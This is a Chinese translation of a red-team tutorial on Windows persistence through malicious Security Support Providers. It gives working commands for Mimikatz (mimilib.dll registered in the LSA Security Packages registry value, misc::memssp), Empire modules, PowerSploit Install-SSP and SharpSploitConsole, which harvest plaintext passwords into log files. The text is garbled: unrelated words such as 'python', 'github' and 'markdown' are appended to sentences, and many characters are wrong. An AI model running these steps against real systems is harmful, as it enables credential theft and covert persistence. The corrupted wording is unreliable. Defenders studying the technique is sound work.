Window權限維持(七):安全支持提供者

安全支持提供程序(SSP)是Windows API,用於擴展Windows身份驗證機制。LSASS進程正在Windows啓動期間加載安全支持提供程序DLL。這種行爲使紅隊的攻擊者能夠刪除一個任意的SSP DLL以便與LSASS進程進行交互並記錄該進程中存儲的全部密碼,或者直接用惡意的SSP對該進程進行修補而無需接觸磁盤。
該技術可用於收集一個系統或多個系統中的憑據,並將這些憑據與另外一個協議(例如RDP,WMI等)結合使用,以避免干擾檢測,從而在網絡中保持持久性。向主機注入惡意安全支持提供程序須要管理員級別的特權,而且可使用兩種方法:python

    1.   註冊SSP DLL
    2.   加載到內存

Mimikatz,Empire和PowerSploit支持這兩種方法,能夠在紅隊操做中使用。git

Mimikatz

項目Mimikatz提供了一個DLL文件(mimilib.dll),能夠將其放到與LSASS進程(System32)相同的位置,以便爲訪問受感染主機的任何用戶得到純文本憑據。github

C:\Windows\System32\

將文件傳輸到上述位置後,須要修改註冊表項以包括新的安全支持提供程序mimilib。shell

reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

 SSP – mimilib註冊表安全

查看「安全軟件包」註冊表項將驗證是否已注入惡意安全支持提供程序。markdown

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages

 註冊表–安全軟件包網絡

因爲註冊表已被篡改而且DLL存儲在系統中,所以該方法將在從新啓動後繼續存在。當域用戶再次經過系統進行身份驗證時,將建立一個名爲kiwissp的新文件,該文件將記錄賬戶的憑據。app

C:\Windows\System32\kiwissp.log

 Mimikatz – kiwisspide

另外,Mimikatz經過向LSASS注入新的安全支持提供程序(SSP)來支持內存技術選項。此技術不須要將mimilib.dll放入磁盤或建立註冊表項。可是,缺點是在從新啓動過程當中不會持續存在。學習

privilege::debug
misc::memssp

 Mimikatz –內存中的SSP

當用戶再次經過系統進行身份驗證時,將在System32中建立一個日誌文件,其中將包含純文本用戶密碼。

C:\Windows\System32\mimilsa.log

 Mimikatz – mimilsa

Empire

Empire提供了兩個模塊,可用於枚舉現有的SSP並在目標系統上安裝惡意的SSP。默認狀況下,枚舉模塊將使用活動代理,而且不須要任何其餘配置。

usemodule persistence/misc/get_ssps
execute

 Empire – SSP 枚舉

一樣,直接查詢註冊表能夠獲取存在的SSP的值。

shell reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"

 註冊表SSP的枚舉註冊表

將惡意安全支持提供程序複製到System32並更新註冊表項將結束該技術。

shell copy mimilib.dll C:\Windows\System32\

 將mimilib.dll複製到System32

因爲Empire包含一個模塊,該過程能夠自動進行,該模塊將自動將DLL文件複製到System32並建立註冊表項。惟一的要求是在主機上設置mimilib.dll文件的路徑。

usemodule persistence/misc/install_ssp*
set Path C:\Users\Administrator\mimilib.dll
execute


 ​ Empire SSP安裝

Empire還支持能夠執行自定義Mimikatz命令的腳本。

usemodule credentials/mimikatz/command
set Command misc::memssp
execute


 Mimikatz – SSP命令


Empire還支持在進程的內存中注入惡意SSP。下面的模塊將調用Mimikatz腳本並直接執行memssp命令,做爲使該技術自動化的另外一種方法。

usemodule persistence/misc/memssp*
execute

 Empire – memssp

PowerSploit

PowerSploit包含兩個能夠執行相同任務的腳本。在Mimikatz的PowerShell變體「 Invoke-Mimikatz 」中,執行如下命令將使用內存中技術。

Import-Module .\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command "misc::memssp"

 PowerSploit – Mimikatz SSP

或者,將惡意的SSP DDL文件傳輸到目標主機並使用模塊Install-SSP將DLL複製到System32,並將自動修改相關的註冊表項。

Import-Module .\PowerSploit.psm1
Install-SSP -Path .\mimilib.dll


 PowerSploit –安裝SSP

SharpSploitConsole

Mimikatz已集成到SharpSploitConsole中,該應用程序旨在與Ryan Cobb發佈的SharpSploit進行交互。SharpSploit是一個.NET後期開發庫,具備與PowerSploit相似的功能。當前,SharpSploitConsole經過Mimikatz模塊支持內存技術。

SharpSploitConsole_x64.exe Interact
Mimi-Command misc::memssp

 

 SharpSploitConsole – memssp

 

譯文聲明:本文由Bypass整理並翻譯,僅用於安全研究和學習之用。

原文地址:https://pentestlab.blog/2019/10/21/persistence-security-support-provider/

相關文章
相關標籤/搜索